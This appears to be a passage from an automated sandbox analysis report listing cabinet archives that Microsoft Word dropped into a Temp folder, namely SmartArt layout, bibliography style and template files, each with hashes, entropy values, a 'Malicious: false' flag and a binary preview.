SHA1:	B0EC82CD986C2AB5A51C577644DE32CFE9B12F92
SHA-256:	B217393FD2F95A11E2C594E736067870212E3C5242A212D6F9539450E8684616
SHA-512:	69A48BF2B1DB64348C63FC0A50B4807FB9F0175215E306E60252FFFD792B1300128E8E847A81A0E24757B5F999875DA9E662C0F0D178071DB4F9E78239109060
Malicious:	false
Preview:	MSCF....:.......D...........................:....?..................................PictureFrame.glox.................Content.inf........[.... '.q..@.........<./..+./. ...."o.o./..{^a.7^.D.HA....^J... ...........T%q..b...+pz.n.=....jT.+M..=H..A...py.3.........H...N...[..%..~....>.%....3.r...wx.....0.....7..94..2..45..7f.......D.. ...[...f.:H..../N..4.....8.....:x.I....u\|.`."...\..N..%.M#..^v$.*....T.m.....?.-.wki.X..8..F.G..Y.^8...-....+.&.+&.No...e!.#.8.....YF.......<w.....=.Q.S..7....MW....M..9A.3..c..L....\|.E-Y....]n".\|....b9..l@.d.T...a.f...~.&k.[..yS..q..]L}..)w.....$.@..v...[9..X....V...a.NK....m9.5.....Kq.;9`.U.e...8.<..)Y.H........z.G...3n.yWa.g.>.w!e.B8:......f..h..z....o.1<.RT..WK...?g .N..+..p.B.\|...1pR_......@...a....aA......ye..8...+M.l..(.d..f.;....g........8R.\.w.:ba....%...\|p....`lrA.\|....a.U.m=ld......7....#..?Dq..D.....(.5.K.a..c.G..7..]hF..%:}......}J.j$.....4...l];..v>.&j........Y.vk..$1.@X$...k...9..?...z..![..../...).a.=....aZ^.3?....

C:\Users\user\AppData\Local\Temp\cabEA16.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 4313 bytes, 2 files, at 0x44 "chevronaccent.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	20457
Entropy (8bit):	7.612540359660869
Encrypted:	false
SSDEEP:	384:KyeISBuydn5rpmp77G8E0GftpBjE/kFLrHRN7ngslI66YVj:KHISBvd5rpmFG8Pi6/6nK666j
MD5:	4EFA48EC307EAF2F9B346A073C67FCFB
SHA1:	76A7E1234FF29A2B18C968F89082A14C9C851A43
SHA-256:	3EE9AE1F8DAB4C498BD561D8FCC66D83E58F11B7BB4B2776DF99F4CDA4B850C2
SHA-512:	2705644D501D85A821E96732776F61641FE82820FD6A39FFAF54A45AD126C886DC36C1398CDBDBB5FE282D9B09D27F9BFE7F26A646F926DA55DFF28E61FBD696
Malicious:	false
Preview:	MSCF............D................................?..................................chevronaccent.glox.................Content.inf..O.$N...[.........B.....?.....$Zy..Zkr...y<.....Di-.aVX/....h..-.~........#.../.Fz....T...p....A..eHMe[..p...=................f..../%o......F@..=..$.B!....}.0..g..^vlI......f.W.F...Nm..2`...)...,.HL4.nsl.F.ir.k..e.!^.j2.v.iT....t.....!h..Y...2Q..-.x.,.Xj.U.cj,....9.....)..W..n3f.......(cH.D.4M.!.+..4..3r..y......\|r..@.PD.R..#...F..nJAR..1{-.....u3..$..L.b+h....:lZ.>....q.?. ~l..^.%.m....a...cG.h.?.\|.?7.'....b.G.4..'..A...o.Z...//..?...d.......C..Z.....]Yv.g.]..... .........]x.#=.../.7;R.j....G.....zq=O`[.'5g.D.u..)..../../.v.JmCW.da....3.f..C.z%...S=....;A.q.\|....z.E.aRu........ k..J"+.f.S.@.........eD4....\0..t./U..%.H..........M:..U.......J...Z..H.DG..u^..D..P....`.^b.........`c......#.....c.?...#..C.V.&.'..f.'...f.[..F.O..a...&..{TiXg4; .X."..0...B.#..^..........N"..w.@f...gd.S..K.....E....ZR...;.twR>.z.

C:\Users\user\AppData\Local\Temp\cabEA17.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 4967 bytes, 2 files, at 0x44 "TabList.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	21111
Entropy (8bit):	7.6297992466897675
Encrypted:	false
SSDEEP:	384:wWZsOvbMZGgbA8E0GftpBjEtnFLrHRN7Dfll7PK/pirk:xZRvuzA8Pi6t9DPISk
MD5:	D30AD26DBB6DECA4FDD294F48EDAD55D
SHA1:	CA767A1B6AF72CF170C9E10438F61797E0F2E8CE
SHA-256:	6B1633DD765A11E7ED26F8F9A4DD45023B3E4ADB903C934DF3917D07A3856BFF
SHA-512:	7B519F5D82BA0DA3B2EFFAD3029C7CAB63905D534F3CF1F7EA3446C42FA2130665CA7569A105C18289D65FA955C5624009C1D571E8960D2B7C52E0D8B42BE457
Malicious:	false
Preview:	MSCF....g.......D...........................g....?..........}.......................TabList.glox.................Content.inf....t....[......@..C...../.U5...........6...`.....T..>3.................=..09`..t......a..Y..BI.Z....=.'0...%...T..........H...>.:A.r......n..p...Pf.h...I.8... ....M.]&.#.vv'.....[c......g....>"......<c..f....i...sb!Z..iu<.%\|......q.....G28.h-...7.....W.v...RtdK..F~.0.3.'.e..b7.c......a.3.....a\..]...gp8.+.u/}.w.qF........8.=.=\|....\~..S.-q}]0...q.B.H.^J...!...a'.2Tn!..."..%........=.e_-.....{o..%o...a`.w..L.5..r.....e.8...pO..RE.Wgr..b.%.E...O.......8s...E....Um].C..M.....[...H.FZ..4...eZI.$..v.3<]..r....B..............8i......e<.D...Q4.q.^S.....H.b.......r.q..0o.......2..PP,."...JI...xU`.6f..K..Q9.Q..h..t....AI.S6...7............X..`dv..r..S....),7ES....#.....(...\.nh...X.ps%l..F...."<_....q....v........_.e.....P.........\|&..fi..4..@..^0..v.]7.......^. ."..}(...w.g.X...=<....p.......L...P..XV....@:....N...Y....

C:\Users\user\AppData\Local\Temp\cabEA18.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 4091 bytes, 2 files, at 0x44 "BracketList.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	20235
Entropy (8bit):	7.61176626859621
Encrypted:	false
SSDEEP:	384:j3W3yGyjgbA8E0GftpBjEHvFLrHRN7pDAlI66Yv1:j3WFyAA8Pi6HVpDZ66c1
MD5:	E3C64173B2F4AA7AB72E1396A9514BD8
SHA1:	774E52F7E74B90E6A520359840B0CA54B3085D88
SHA-256:	16C08547239E5B969041AB201EB55A3E30EAD400433E926257331CB945DFF094
SHA-512:	7ED618578C6517ED967FB3521FD4DBED9CDFB7F7982B2B8437804786833207D246E4FCD7B85A669C305BE3B823832D2628105F01E2CF30B494172A17FC48576D
Malicious:	false
Preview:	MSCF............D................................?..................................BracketList.glox.................Content.inf....7r...[.... G.q..@...B.....?X!.A.......!........X..Vk.JK...Z..=......PD.....P....5...jp..+..T....b.)np5.7.....Zz........... ..!.....S......1....`....h......T?.Nq../......z....[..:..5f;....O...d.FxD...4...Z....[..a...w..W.[..P...5.]...6..."...+t].!...2\%%`Q.\..)...=>.)......a.$.2.,...2,.Lw.?..+..qf....h....T/B.....}T.E...'.%.....,.......X....b..gt.hPYc\|.....a...j...=...{..a.`!8!..\|...L.T..k..!,.R.z/W....{..,...+..w.m..sQ..7<x..B....?....\.)..l...d...}.....v..W.C..'=p1c.Z=.W.g.e....&wm..N,..K.T../.oV../=9.}.....".28...r.Q....dzj{....S...1m...x9_...2PXpa...Q.n.$z...c..SGq...k......}kPE.....3.\|.5A.>..6.......+)qCB....q....qNkGe...W]..o..Z...J.<.i......qq.8....q..BE.(...._h.U.\@3.F...KdO..=1j+....).Q.\|B..Z..%......LDYk....j.....{klDW..#CVy}...X..O!..}..s..&..DC.....tL.j..b.......[...n.'..1..Xc...9Q..gM.....n..3...v.....~.).

C:\Users\user\AppData\Local\Temp\cabEA19.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 10800 bytes, 2 files, at 0x44 "ConvergingText.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	26944
Entropy (8bit):	7.7574645319832225
Encrypted:	false
SSDEEP:	384:sbUX16g8/atF4NB3TJOvqeMRD/8svIZj/OwgbA8E0GftpBjEYwFLrHRN7mYll7PY:sbhg8yY4nMZK2hA8Pi6Yum4IVR
MD5:	F913DD84915753042D856CEC4E5DABA5
SHA1:	FB1E423C8D09388C3F0B6D44364D94D786E8CF53
SHA-256:	AA03AFB681A76C86C1BD8902EE2BBA31A644841CE6BCB913C8B5032713265578
SHA-512:	C48850522C809B18208403B3E721ABEB1187F954045CE2F8C48522368171CC8FAF5F30FA44F6762AFDE130EC72284BB2E74097A35FE61F056656A27F9413C6B6
Malicious:	false
Preview:	MSCF....0......D...........................0...?..................t,..............ConvergingText.glox.....t,..........Content.inf..C..)t-[.....@.........=...xxA. ...E^....x.x.^.......x..^^...DF.......s..d.P.....5.;..]...2.t.w.....O9.G..;.'.T....@I.,.q.u.3..P...9... ....`J.......g.(....).,.h0.....$.3..;.._.....~.de.jj.....U..K.0....`.@.H.1.x.Z.@..q....?....x.wW.....+am8A".....I..)..]...s..-z.2S+\|.Cb.t6f],.n.LV......OVg....O.at\|..-..x.....:....]s...u..g}.P..v.3....^.".%..%...#.2.....l00...n.......r8.p.....^.....n.)..,..t.^$b...b.q.W...F..R...n.-.+..'........Aw=._OwH....8.:s..{.#..{N.hW..`.._........Wy....>U.?....-.8tg...=..y..@.,.v\|......l...t..l#{...H....9..\|......~...De..#@y.&K....U...q.c.zK..D.<pV.....Ql..&Y...=#...w....r.`#2....Ug.J(..T...KmW.@...!....j:......M......!..E.7#s.t..F.aU..N....-.i......\|w.lr..G.n.,.......=Kl.-m.?F.....v]?.......{q.U.t...<.\|..u.....3R.`.t.T.>;v.....KQ...S...7..1...N.kN.y.)v.....3H:..D.{.+.(......u..^W&.

C:\Users\user\AppData\Local\Temp\cabEA1A.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 3749 bytes, 2 files, at 0x44 "TabbedArc.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	19893
Entropy (8bit):	7.592090622603185
Encrypted:	false
SSDEEP:	384:v3Zh3VlkpSIcgbA8E0GftpBjEmm3UFLrHRN7GYvlvQyUTL2mTAp:v31qp/A8Pi6mUqGGvU+mcp
MD5:	EF9CB8BDFBC08F03BEF519AD66BA642F
SHA1:	D98C275E9402462BF52A4D28FAF57DF0D232AF6B
SHA-256:	93A2F873ACF5BEAD4BC0D1CC17B5E89A928D63619F70A1918B29E5230ABEAD8E
SHA-512:	4DFBDF389730370FA142DCFB6F7E1AC1C0540B5320FA55F94164C0693DB06C21E6D4A1316F0ABE51E51BCBDAB3FD33AE882D9E3CFDB4385AB4C3AF4C2536B0B3
Malicious:	false
Preview:	MSCF............D................................?..................c...............TabbedArc.glox.....c...........Content.inf.;....Y.[.........B.....?.T..ZD...........^C...U.R<Z....z+.I.....Z..-.V...f.....lB..\P.....=.-p....w ...\.kD..x'v..T..A..............".8...d.........FD.ZL.h..T...bp.)9B.v..i..VX...&..\..7.s..qy...l........Rty.Y...rU..>.9...8....L..\.^x.kDU.\|TJ..{kN.G..E..$.kvy?.. mv......P..4.....q.1.6<u....e..dD...4.1E..Xi.5.=....1.P.c.K~S...YMO:.?..cL.g.tq\.(b1....E..0A.i..C...BT.m.S......:...}.&U..#QL..O.O../..K......=..........0a..O............BYP......>f.......iu...7.K..;QO~.t....%N.s.]>~#../7YN.....C..9.=cY.......y..U5.....,.....u.....#_..SG.`NR.....?..d.R.k.rX$...&.... ..h.4T.D^k-xA...............Hz..ep)e..4..P."fo Ne...o.....0n.Exr.........H..v...A.."..%)2......5...".}j.o8...E.HRQ;}.. .._L.+.jz....{.U..}...=B.o.^..vZ.:5.Z.M....y{\(...N..9...EB*MG...!N.vy..^...nE..2..@.;.4..C..t.4....h..O.8.=.m./...\|Lu.\|mCU..b.^.n39.h[M...%D{..w.1

C:\Users\user\AppData\Local\Temp\cabEA1B.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 5731 bytes, 2 files, at 0x44 "ThemePictureAlternatingAccent.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	21875
Entropy (8bit):	7.6559132103953305
Encrypted:	false
SSDEEP:	384:k73HRpZA6B3ulrnxtRT7G8E0GftpBjEdHqlFLrHRN7uhFlvQyUTL2m4c:k7XRgIkrG8Pi6dmuNvU+mp
MD5:	E532038762503FFA1371DF03FA2E222D
SHA1:	F343B559AE21DAEF06CBCD8B2B3695DE1B1A46F0
SHA-256:	5C70DD1551EB8B9B13EFAFEEAF70F08B307E110CAEE75AD9908A6A42BBCCB07E
SHA-512:	E0712B481F1991256A01C3D02ED56645F61AA46EB5DE47E5D64D5ECD20052CDA0EE7D38208B5EE982971CCA59F2717B7CAE4DFCF235B779215E7613AA5DCD976
Malicious:	false
Preview:	MSCF....c.......D...........................c....?..................................ThemePictureAlternatingAccent.glox.................Content.inf...3.....[.... .qq...........\<.^......o."......f.o...x.{..q..^.MH^...........{0.K....4pX.i...@6A4X.P.01d....'p.......zA.......... .......7.......a. `.=!@- ......>G.s.k~@.a.lfha:m....1...@.,G`....{....W..N..qs.......j.+TrsT.l.9..L...1+...d..-u..-.......).#u&...3......k.&C...DdZ.'.......8..<PF..r.eq.X6...u..v...s5.m.Q.l.G%.<.]....RV<...S..Dv..s.r.......dh.N.3-.Hf'.....3.GZ..E.kt.5......h...\|...?!.L....~.)..v....:2.../F.,....o.qi.i7..E.\|.mh.R_.@A.FO@i.....Feo...x.l...{E.\W9\|V...=#..3..(......tP.:i....Ox.U.N...%6...p.6&.....<zh.z.\|.<Z.?.k....y7m...F.Z$-.:.l.h...{T..7....?..T...d,r...z?../...`/Z......a.v@)....u......V..v.:.._.\|.'..[..O.s.OAt-."b.In"..I...J*.~H.:-...?..uV....dZ;z:.l.{.E.,.Q..i]:.0r.I.y..f...../j.wN...^R.....u....>..}....f.f...]A..C~;/....%..^#..N.a..........99.....`.....%..iS....S......$....)

C:\Users\user\AppData\Local\Temp\cabEA3D.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 14813 bytes, 2 files, at 0x4c "iso690nmerical.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 7 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	30957
Entropy (8bit):	7.808231503692675
Encrypted:	false
SSDEEP:	384:rKfgT03jNkAFbgUQWtxq9OGh1bBkd/1MVHb5iVOdMgbA8E0GftpBjEl8tFLrHRNF:r303jOrUQAkfhopWHbA8Pi6l8zuUIq
MD5:	D3C9036E4E1159E832B1B4D2E9D42BF0
SHA1:	966E04B7A8016D7FDAFE2C611957F6E946FAB1B9
SHA-256:	434576EB1A16C2D14D666A33EDDE76717C896D79F45DF56742AFD90ACB9F21CE
SHA-512:	D28D7F467F072985BCFCC6449AD16D528D531EB81912D4C3D956CF8936F96D474B18E7992B16D6834E9D2782470D193A17598CAB55A7F9EB0824BC3F069216B6
Malicious:	false
Preview:	MSCF.....9......L............................9...?...................8......1P..............iso690nmerical.xsl.................Content.inf...A@...[...5.....33.E...P.../..........5sv.]3srm8.T.=.......}.v.T.. ..4IH.r.%Z.(.q.\+K..[,....E....A......#CEF..}p..Y/s$...YKI.#M.?.t.1#C....I..v.vn...-...v7../S.m.Ma.....!.Y....4.......3.3....c&R9..%......(J..BDMI.>7J.....".....}.w.}w.wg.v...^.n.{....{f.mlI..%.#..I..S....D..QJ U......4........K.(@....DH.....}...8;..z...&0%e..G.OAM..x.3......\....zS9....}......89.B...e.W.p{;.....m.m3...}....../...q.~..;.,..".j.g..^N............iC.../\|...g.=..9.Q].Gf.....QA....74..v.....9.n[......0.}..jo{y./.2..Ym......;u...b.(Jz^.....~..uM...{s../..#.)n2..S.S.c..6)U.V....!.'R.......P.S.D..S.p/......D.......{......?.u.",...Mp._....N..+..=Y#..&0w....r.......$.xwC......P.e7.>O....7....].y%q^S'.....C.`.?..}Q..k../u.TK...y........S...{T.?......[.H.'L..AS.Y.\|..b...J.H-.^U>'9..uD[.".b[.l.......o..6.L).h.B0RJa.b..\|m:.):......F

C:\Users\user\AppData\Local\Temp\cabEA3E.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 15461 bytes, 2 files, at 0x4c "gostname.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 8 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	31605
Entropy (8bit):	7.820497014278096
Encrypted:	false
SSDEEP:	384:7SpOUxgQ9gFodHZktfHa2TSmcAg76j8/xorK0JoZgbA8E0GftpBjE2PzFLrHRN7S:OngHltf7Bcp/xoB3A8Pi625D8RA54
MD5:	69EDB3BF81C99FE8A94BBA03408C5AE1
SHA1:	1AC85B369A976F35244BEEFA9C06787055C869C1
SHA-256:	CEBE759BC4509700E3D23C6A5DF8D889132A60EBC92260A74947EAA1089E2789
SHA-512:	BEA70229A21FBA3FD6D47A3DC5BECBA3EAA0335C08D486FAB808344BFAA2F7B24DD9A14A0F070E13A42BE45DE3FF54D32CF38B43192996D20DF4176964E81A53
Malicious:	false
Preview:	MSCF....e<......L...........................e<...?...................;......................gostname.xsl."...............Content.inf.[.......[...>..\|..32.E..o`h....W.>.^...v..5...m.w.$.U..U......m.mu...'4....m`.9F.. ...I..PTS..O.D...GM#...#CUE.`.`%n..N...G,.~..+.6cv.L...G.m.Y..vy.....Yh9/.m,..wtw..;....Ka.a.{.\...'.....<X....%)...G..d......R./..4$..32..@....f.h....w..ov.}w..[.....{.v.......dr..&w#G..$3.zI&f..(C..L.z5J... .`...!.!4. ...!.` .$........w.J.X7.w_..@.w..f]=.C.....I-....s.s_.x...~..A... ...z...nM..;....Z....vt....6...~.w.....*x.g.h.T.J..-.3=....G.n..ti.A...s...j$.Bf..?......6.t.<j...>.."....&=BO?w.uN.o.t.-r..K....>C..^G..p...k...>.xZ.[fL..n.."].W#...\|.i.0W.q.F: ..<#w......w....s....."...n.qu.../rI.....q....P~.B..\|b?.N.}..MyO..q..:q.7..-~.xa.S...\|.....X.....g.W.3.mo..yy.GG.s>....qy....r........#.F.P..A.......A....b.2..14.8.i6..w.S...v~{0z.<.Z...^!.;2mSV.i....{...U...+...r.;...h.++..T6.a...$....j5F+..1t....b......\|.Q\d-.S..2... ......Y..A...s....

C:\Users\user\AppData\Local\Temp\cabEA4F.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 14939 bytes, 2 files, at 0x44 "CircleProcess.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	31083
Entropy (8bit):	7.814202819173796
Encrypted:	false
SSDEEP:	384:0XbSq3W46TVZb5fOFo1HtZwGqtRT44hS+nyBoiuFgbA8E0GftpBjEcBFLrHRN7Ku:0XpOflfOFo1DMr/iuuA8Pi6cfKjW66b
MD5:	89A9818E6658D73A73B642522FF8701F
SHA1:	E66C95E957B74E90B444FF16D9B270ADAB12E0F4
SHA-256:	F747DD8B79FC69217FA3E36FAE0AB417C1A0759C28C2C4F8B7450C70171228E6
SHA-512:	321782B0B633380DA69BD7E98AA05BE7FA5D19A131294CC7C0A598A6A1A1AEF97AB1068427E4223AA30976E3C8246FF5C3C1265D4768FE9909B37F38CBC9E60D
Malicious:	false
Preview:	MSCF....[:......D...........................[:...?...................A..............CircleProcess.glox......A..........Content.inf......9.B[.....@........!...(A.D..K.W.wwpwJj\.K\w...]...K.!.....@0..?,...}won`... ....&I..(;.....X.u..^.R..^......_:....W>f\....T...B..i`\|q.....................i.5....(........0q7@.@..F...?A.`.....,L.......5.+../56..a`....1C5..9.I.N.......@\|<+./......... .ya....>l.,t.......y.y5...FF.,F..jCA...SA..H....8u.L..eM?.w8.......~^.Mr.[...(.._......u..+.......j..TJ.:<.3.X`...U.bz...[...r-...[...+..B.......}...\'.i...C.8.B_...c.8</..s.....VQ.Y..m.,.j~;y ...2.5.VQ...K..jP..2..r-...HA...."..9).7.....5.E._.wq.......!.+n+.f...s].4M'.1&...5....4..k..NV.M1.7`a..<.P4.\|.mrd.i.R...u...............v.}..n\.C$.....[..2c.^..W..g..._.0.C.o....%.z.!.;.@y.`\..UO#i.)...Q...........L. .\:_..H.{.W...@...T.4..A.a...Wo?o$4.....#.V.s8M.Gh..p?A...Y.....)...........r\|...!..o9...8..%#.[....;...3<Z...g....~.Z....,.(...qA.'x#..xC..@...HOuW.[.[....c.........

C:\Users\user\AppData\Local\Temp\cabEA50.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 5213 bytes, 2 files, at 0x44 "rings.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	21357
Entropy (8bit):	7.641082043198371
Encrypted:	false
SSDEEP:	384:zdx+NRrogu6fzCI7Th7G8E0GftpBjEzZq4FLrHRN7/Oll7PK/pB:/+NRrFf/G8Pi6zZb/GIB
MD5:	97F5B7B7E9E1281999468A5C42CB12E7
SHA1:	99481B2FA609D1D80A9016ADAA3D37E7707A2ED1
SHA-256:	1CF5C2D0F6188FFFF117932C424CC55D1459E0852564C09D7779263ABD116118
SHA-512:	ACE9718D724B51FE04B900CE1D2075C0C05C80243EA68D4731A63138F3A1287776E80BD67ECB14C323C69AA1796E9D8774A3611FE835BA3CA891270DE1E7FD1F
Malicious:	false
Preview:	MSCF....].......D...........................]....?..........{.......................rings.glox.................Content.inf..\|^.....[......P........<.$.."..0R..xa.Ax#B..d... ....K,.....^.H.....H.........&.j.\f.. ..,....,..!k..R..e..!...E...........................><.RB.....~h...........Q................g..M\|,...x.....qV7.u..\...F-N.{-..X..&Zig.~..{.A.p.Z...X..{,-n............`$.%.ND.....>].6cvZ.%d..a.$..-.K.Hf....L..;.#...H....U,........P.@.-$C.,.g...%YJE..$.jP........b...Y<..[U...MF]F.K...1... x.}3w.o.#,.}T.....w5+...=.=...c.F^....OM.=.......G_{n.*...WC.w!......{/.~.}..s..6_......)..Xy...4.....<..XZJ........#~._i....%..fM.V.?.q...q.....7...B..sVt...(.:..c....~.e...kGZ...C..(J..o...`...?.)-.T.l....&...gR.$.....g.:...2.e%F.....x....z0...K..a8B...........D..]....7....~.".DR...r)...}b)e.>.\h~f...(}.c........Q...o5H.........C.KC.(.L.l................R..a.pg{..\.......-b........}.C......qTS..%..r.lG..Q.1..Z.>a.D...tC..LV...Rs.C.M18x.:......%O.

C:\Users\user\AppData\Local\Temp\cabEA51.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 15418 bytes, 2 files, at 0x4c "harvardanglia2008officeonline.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 9 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	31562
Entropy (8bit):	7.81640835713744
Encrypted:	false
SSDEEP:	384:yhsBScEWkrljntbzuMmWh7ezPnGgbA8E0GftpBjohgsRFLrHRN7ybll7PK/p:MsBScwtnBmWNeTzA8PiuWsvyDI
MD5:	1D6F8E73A0662A48D332090A4C8C898F
SHA1:	CF9AD4F157772F5EDC0FDDEEFD9B05958B67549C
SHA-256:	8077C92C66D15D7E03FBFF3A48BD9576B80F698A36A44316EABA81EE8043B673
SHA-512:	5C03A99ECD747FBC7A15F082DF08C0D26383DB781E1F70771D4970E354A962294CE11BE53BECAAD6746AB127C5B194A93B7E1B139C12E6E45423B3A509D771FC
Malicious:	false
Preview:	MSCF....:<......L...........................:<...?..................D;.......V..............harvardanglia2008officeonline.xsl.L...............Content.inf.Vu......[...E..o..3D.5..nF.A..+.e.....6r..f........M3...-.s.m.... $r.b.!.q!.....G...0.\.......fd......%m...'1Y..f..O....#.P.,{..m...\|..ww.{.m...f...n%...,..y...0y...8.Q...`.../.q....a...',.V......8.7..8t..................6.]..6..nw..ynm..-l.Y..,.I?..$....+b9$E!S@"..) .4........H...lA...@!a.F.l$..0#!.....n&.5j.t+..1f\|.+....E.zDk.l8.+<q.^.........\5.l..iT.9...........Y..6.^,.o.bn.E5w..s.../...W.gS..j9..'W.F......].4\Mzz..Td..Ho..~.Q...Z..D..O.JP..m..s.j.:..........y._.....#..rD....60.\!y........p.o3,..Ub,......[[L.{.5.....5.7UDB9.{;;g.z.z..jM.G.MY.oe.....(r..B6..CV.7Fl.Z/....-.O.vY.c...-..........b.T)3.u..f~x2.?.8.g.x.-.....Qt_...$e.l..jtP..b....h...sW0.`.....c...F_....t.........LC..*5I.X$^.;&....#.._\J..........;..wP..wX.qy.qs...}46..fK.XN.&0........k1....8...............'t.......}.......O_.

C:\Users\user\AppData\Local\Temp\cabEA52.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 19375 bytes, 2 files, at 0x4c "turabian.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 11 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	35519
Entropy (8bit):	7.846686335981972
Encrypted:	false
SSDEEP:	768:2LFougzHaUdBKUsM+Z56zBjA8Pi6bo+ld8IX:MFodzHaULR9P7bo+l6IX
MD5:	53EE9DA49D0B84357038ECF376838D2E
SHA1:	AB03F46783B2227F312187DD84DC0C517510DE20
SHA-256:	9E46B8BA0BAD6E534AF33015C86396C33C5088D3AE5389217A5E90BA68252374
SHA-512:	751300C76ECE4901801B1F9F51EACA7A758D5D4E6507E227558AAAAF8E547C3D59FA56153FEA96B6B2D7EB08C7AF2E4D5568ACE7E798D1A86CEDE363EFBECF7C
Malicious:	false
Preview:	MSCF.....K......L............................K...?...................J.......@..............turabian.xsl."...............Content.inf._.......[...T.....C4.5...E0B.]...+.-f....rc.[52.$...a..I....{z...`hx.r...!.. $...l..\....#3EF..r..c;<p...&n.\b..K..0Y..c+.2...i..B..wwY..77,...........}.q.C.......n..,.....prrx.QHy.B#..,.'....3....%1.``..hf...~...[.[n.v.s..y.vw....;..s.G293G&H....$E......m.&^..iy/.4.C...D...".(H&..&.I4._...!...... ........q.k1.d.....qc.3.c.....;.5.......y}...}&...+.WAN.,zVY.Q....V.Tz........g..H..c...E2jY...4g?.yf<....V.M.s.$..k.Id....+..?..._.\.s.k..9..I%;.yWQ..S..]...n<.7........=......"Q.E.....MG..j.Yt..!U....Q.j...v.h-.~b..e&.......;...\.....:.....=..Xv1&q........6\...xw.%.VdS..H...o...s.....+..%[../>.t..I....F.....".G\|.....=....[..S..3..a.C.ZZ...tK.6N..b........)>........I..m..QE.M.nv.MVl.....vCG>,.suP.gqo.rr....J`m....J.b..},[F....e.A.]..r....C4.?JJs6..l.].9...Q.B.~.......\d%.X ...8A....rH....&?#...^.....4.h.{>

C:\Users\user\AppData\Local\Temp\cabEA53.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 30269 bytes, 2 files, at 0x4c "Text Sidebar (Annual Report Red and Black design).docx", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 2 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	46413
Entropy (8bit):	7.9071408623961394
Encrypted:	false
SSDEEP:	768:WaxA0CH65GY3+fvCXCttfR8JEBrkquwDn+QV5V+vNWBatX/xG8Pi65sMuMjvU+mQ:hne65GYOfKXMSEBrBtDnzFAI4JxP75sM
MD5:	C455C4BC4BEC9E0DA67C4D1E53E46D5A
SHA1:	7674600C387114B0F98EC925BE74E811FB25C325
SHA-256:	40E9AF9284FF07FDB75C33A11A794F5333712BAA4A6CF82FA529FBAF5AD0FED0
SHA-512:	08166F6CB3F140E4820F86918F59295CAD8B4A17240C206DCBA8B46088110BDF4E4ADBAB9F6380315AD4590CA7C8ECDC9AFAC6BD1935B17AFB411F325FE81720
Malicious:	false
Preview:	MSCF....=v......L...........................=v...?..................5u......................Text Sidebar (Annual Report Red and Black design).docx.v...............Content.inf..C,.zd..[............... .w.....b...wwww]r..W\ww...... .hh...........o.nz.....Ku.7..-.oH...h;.N..#.._.D,}......!Q$..Un.tI11..$w.r3... ..p...=.1....""..n.../....h.A...Y..c,.Q.,......",..b.1.w..$.....l../;..J.....~.. ....+.R#....7.-..1.x.feH.@.......u...(.DQ%.wL.N\|.xh...R..#....C...'X.m.....I{W.....5.C.....\....z.Y.)w..i...%....M..n.p.....{..-G9..k.bT.6........7....).....6..ys.....R.e.....0.Xk`.3..X\xL..4J"#.f...:....r..2..Y.uW..052.n.+ ..o..o..f&u.v.&9y.P..6.K..in.DU.#.~....4i..6;.5.w..i...g.(....../..0Vh...C..//....W..:w......7.6....]....4.9...sL.0k...zHh..2N.H.....]..(.x.:..........Y.+...-.....&.*^..Q.sW...v..w.....k.L.e.^.W4iFS..u.....l.g'...b~:Zm...S.2.\|......5S..=.............l.../\|....G\|.9 